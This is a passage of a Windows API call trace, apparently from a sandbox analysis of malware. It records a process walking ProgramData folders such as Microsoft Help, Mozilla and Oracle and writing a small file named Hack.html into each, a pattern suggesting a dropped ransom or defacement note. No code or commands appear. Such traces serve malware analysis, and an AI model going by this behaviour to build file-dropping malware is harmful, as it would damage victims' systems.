lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.484] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.485] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.487] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.488] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.488] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.488] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help", lpFilePart=0x0) returned 0x1d [0071.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help\\", lpFilePart=0x0) returned 0x1e [0071.489] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.490] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.491] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.491] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.491] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.491] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.492] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.492] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.492] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.492] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.492] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.493] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.493] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.493] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.493] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.493] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.494] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.494] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.494] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.494] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.494] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.495] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.495] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.495] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.495] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.495] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.496] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.496] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.496] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.496] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.496] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.497] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.497] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.497] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x27 [0071.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hack.html" (normalized: "c:\\programdata\\microsoft help\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.499] GetFileType (hFile=0x174) returned 0x1 [0071.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.500] GetFileType (hFile=0x174) returned 0x1 [0071.500] WriteFile (in: hFile=0x174, lpBuffer=0x26de54c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26de54c*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.501] CloseHandle (hObject=0x174) returned 1 [0071.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla", lpFilePart=0x0) returned 0x16 [0071.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\", lpFilePart=0x0) returned 0x17 [0071.503] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.503] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.503] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.504] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.504] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.504] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla", lpFilePart=0x0) returned 0x16 [0071.504] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\", lpFilePart=0x0) returned 0x17 [0071.504] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.504] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.505] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.505] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.505] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.505] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs", lpFilePart=0x0) returned 0x1b [0071.505] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs\\", lpFilePart=0x0) returned 0x1c [0071.505] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0071.506] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.507] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.507] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.507] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.507] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs", lpFilePart=0x0) returned 0x1b [0071.507] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs\\", lpFilePart=0x0) returned 0x1c [0071.507] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0071.508] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.508] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.508] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.508] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.508] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs\\Hack.html", lpFilePart=0x0) returned 0x25 [0071.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.508] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\logs\\Hack.html" (normalized: "c:\\programdata\\mozilla\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.509] GetFileType (hFile=0x174) returned 0x1 [0071.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.509] GetFileType (hFile=0x174) returned 0x1 [0071.509] WriteFile (in: hFile=0x174, lpBuffer=0x26e30f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26e30f0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.511] CloseHandle (hObject=0x174) returned 1 [0071.511] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x20 [0071.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.511] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\Hack.html" (normalized: "c:\\programdata\\mozilla\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.513] GetFileType (hFile=0x174) returned 0x1 [0071.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.513] GetFileType (hFile=0x174) returned 0x1 [0071.513] WriteFile (in: hFile=0x174, lpBuffer=0x26e5878*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26e5878*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.514] CloseHandle (hObject=0x174) returned 1 [0071.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.515] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle", lpFilePart=0x0) returned 0x15 [0071.517] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.517] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.517] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.517] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.518] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.518] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.518] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Hack.html" (normalized: "c:\\programdata\\oracle\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.519] GetFileType (hFile=0x174) returned 0x1 [0071.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.519] GetFileType (hFile=0x174) returned 0x1 [0071.519] WriteFile (in: hFile=0x174, lpBuffer=0x26e8e74*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26e8e74*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.520] CloseHandle (hObject=0x174) returned 1 [0071.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.532] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.533] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.533] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.534] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.534] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.534] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.534] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.534] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.535] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.535] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.535] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.535] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.535] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.537] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.537] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.537] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.537] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.539] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.539] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.540] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.541] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.542] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.549] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.549] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.549] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.550] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.550] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.550] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.551] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.551] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.551] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.551] SetThreadErrorMode 